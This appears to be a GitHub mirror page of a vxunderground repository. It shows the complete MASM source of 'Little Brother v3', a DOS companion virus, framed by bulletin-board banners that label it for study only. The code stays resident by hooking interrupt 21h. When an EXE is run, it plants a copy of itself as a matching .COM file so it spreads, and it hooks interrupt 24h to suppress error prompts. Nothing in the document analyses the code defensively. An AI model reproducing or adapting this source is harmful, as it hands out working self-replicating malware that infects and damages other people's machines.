mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
309 lines
12 KiB
NASM
309 lines
12 KiB
NASM
|
;****************************************************************************;
|
|||
|
|
; ;
|
|||
|
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
|
; -=] [=- ;
|
|||
|
|
; -=] For All Your H/P/A/V Files [=- ;
|
|||
|
|
; -=] SysOp: Peter Venkman [=- ;
|
|||
|
|
; -=] [=- ;
|
|||
|
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
|
; ;
|
|||
|
|
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
|||
|
|
; ;
|
|||
|
|
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
|||
|
|
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
|||
|
|
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
|||
|
|
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
|||
|
|
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
|||
|
|
; Is. Keep This Code in Responsible Hands! ;
|
|||
|
|
; ;
|
|||
|
|
;****************************************************************************;
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Little Brother version 3
|
|||
|
|
;*
|
|||
|
|
;* Compile with MASM 4.0
|
|||
|
|
;* (other assemblers will probably not produce the same result)
|
|||
|
|
;*
|
|||
|
|
;* Disclaimer:
|
|||
|
|
;* This file is only for educational purposes. The author takes no
|
|||
|
|
;* responsibility for anything anyone does with this file. Do not
|
|||
|
|
;* modify this file!
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
cseg segment
|
|||
|
|
assume cs:cseg,ds:cseg,es:nothing
|
|||
|
|
|
|||
|
|
.RADIX 16
|
|||
|
|
|
|||
|
|
FILELEN equ end - begin
|
|||
|
|
oi21 equ end
|
|||
|
|
nameptr equ end+4
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Install the program!
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
org 100h
|
|||
|
|
|
|||
|
|
begin: cld
|
|||
|
|
mov sp,300
|
|||
|
|
|
|||
|
|
mov ax,0044h ;move program to empty hole
|
|||
|
|
mov es,ax
|
|||
|
|
mov di,0100h
|
|||
|
|
mov si,di
|
|||
|
|
mov cx,FILELEN
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
mov ds,cx ;get original int21 vector
|
|||
|
|
mov si,0084h
|
|||
|
|
mov di,offset oi21
|
|||
|
|
mov dx,offset ni21
|
|||
|
|
lodsw
|
|||
|
|
cmp ax,dx ;already installed?
|
|||
|
|
je cancel
|
|||
|
|
stosw
|
|||
|
|
movsw
|
|||
|
|
|
|||
|
|
push es ;set vector to new handler
|
|||
|
|
pop ds
|
|||
|
|
mov ax,2521h
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
cancel: push cs ;restore segment registers
|
|||
|
|
pop ds
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
mov bx,30 ;free memory
|
|||
|
|
mov ah,4A
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
mov es,ds:[002C] ;search filename in environment
|
|||
|
|
mov di,0
|
|||
|
|
mov ch,0FFh
|
|||
|
|
mov al,01
|
|||
|
|
repnz scasb
|
|||
|
|
inc di
|
|||
|
|
|
|||
|
|
mov word ptr [nameptr],di
|
|||
|
|
mov word ptr [nameptr+2],es
|
|||
|
|
|
|||
|
|
mov si,offset EXE_txt ;change extension to .EXE
|
|||
|
|
call change_ext
|
|||
|
|
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov bx,offset param ;make EXEC param. block
|
|||
|
|
mov [bx+4],cs
|
|||
|
|
mov [bx+8],cs
|
|||
|
|
mov [bx+0C],cs
|
|||
|
|
lds dx,dword ptr [nameptr]
|
|||
|
|
mov ax,4B00 ;execute .EXE program
|
|||
|
|
int 21
|
|||
|
|
mov ah,4Dh ;ask return code
|
|||
|
|
int 21
|
|||
|
|
mov ah,4Ch ;exit with same return code
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* EXEC parameter block
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
param dw 0, 80, ?, 5C, ?, 6C, ?
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* File-extensions
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
EXE_txt db 'EXE',0
|
|||
|
|
COM_txt db 'COM',0
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Interupt handler 24
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
ni24: mov al,03
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Interupt handler 21
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
ni21: pushf
|
|||
|
|
push dx
|
|||
|
|
push bx
|
|||
|
|
push ax
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
|
|||
|
|
cmp ax,4B00h ;execute ?
|
|||
|
|
jne exit
|
|||
|
|
|
|||
|
|
doit: call infect
|
|||
|
|
|
|||
|
|
exit: pop es
|
|||
|
|
pop ds
|
|||
|
|
pop ax
|
|||
|
|
pop bx
|
|||
|
|
pop dx
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
jmp dword ptr cs:[oi21] ;call to old int-handler
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
infect: cld
|
|||
|
|
|
|||
|
|
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
|||
|
|
mov word ptr cs:[nameptr+2],ds
|
|||
|
|
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
call searchpoint
|
|||
|
|
mov si,offset EXE_txt ;is extension 'EXE'?
|
|||
|
|
mov cx,3
|
|||
|
|
rep cmpsb
|
|||
|
|
jnz return
|
|||
|
|
|
|||
|
|
mov si,offset COM_txt ;change extension to COM
|
|||
|
|
call change_ext
|
|||
|
|
|
|||
|
|
mov ax,3300h ;get ctrl-break flag
|
|||
|
|
int 21
|
|||
|
|
push dx
|
|||
|
|
|
|||
|
|
cwd ;clear the flag
|
|||
|
|
inc ax
|
|||
|
|
push ax
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
mov ax,3524h ;get int24 vector
|
|||
|
|
int 21
|
|||
|
|
push bx
|
|||
|
|
push es
|
|||
|
|
|
|||
|
|
push cs ;set int24 vec to new handler
|
|||
|
|
pop ds
|
|||
|
|
mov dx,offset ni24
|
|||
|
|
mov ah,25h
|
|||
|
|
push ax
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
|||
|
|
xor cx,cx
|
|||
|
|
mov ah,5Bh
|
|||
|
|
int 21
|
|||
|
|
jc return1
|
|||
|
|
xchg bx,ax ;save handle
|
|||
|
|
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov cx,FILELEN ;write the virus
|
|||
|
|
mov dx,offset begin
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21
|
|||
|
|
cmp ax,cx
|
|||
|
|
pushf
|
|||
|
|
|
|||
|
|
mov ah,3Eh ;close the file
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
popf
|
|||
|
|
jz return1 ;all bytes written?
|
|||
|
|
|
|||
|
|
lds dx,dword ptr [nameptr] ;no, delete the virus
|
|||
|
|
mov ah,41h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
return1: pop ax ;restore int24 vector
|
|||
|
|
pop ds
|
|||
|
|
pop dx
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
pop ax ;restore ctrl-break flag
|
|||
|
|
pop dx
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
mov si,offset EXE_txt ;change extension to EXE
|
|||
|
|
call change_ext ;execute .EXE program
|
|||
|
|
|
|||
|
|
return: ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* change the extension of the filename (CS:SI -> ext)
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
change_ext: call searchpoint
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
movsw
|
|||
|
|
movsw
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* search begin of extension
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
searchpoint: les di,dword ptr cs:[nameptr]
|
|||
|
|
mov ch,0FFh
|
|||
|
|
mov al,0
|
|||
|
|
repnz scasb
|
|||
|
|
sub di,4
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Text and Signature
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
db 'Little Brother',0
|
|||
|
|
|
|||
|
|
end:
|
|||
|
|
|
|||
|
|
cseg ends
|
|||
|
|
end begin
|
|||
|
|
|
|||
|
|
;****************************************************************************;
|
|||
|
|
; ;
|
|||
|
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
|
; -=] [=- ;
|
|||
|
|
; -=] For All Your H/P/A/V Files [=- ;
|
|||
|
|
; -=] SysOp: Peter Venkman [=- ;
|
|||
|
|
; -=] [=- ;
|
|||
|
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
|
; ;
|
|||
|
|
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
|||
|
|
; ;
|
|||
|
|
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
|||
|
|
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
|||
|
|
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
|||
|
|
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
|||
|
|
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
|||
|
|
; Is. Keep This Code in Responsible Hands! ;
|
|||
|
|
; ;
|
|||
|
|
;****************************************************************************;
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
|
|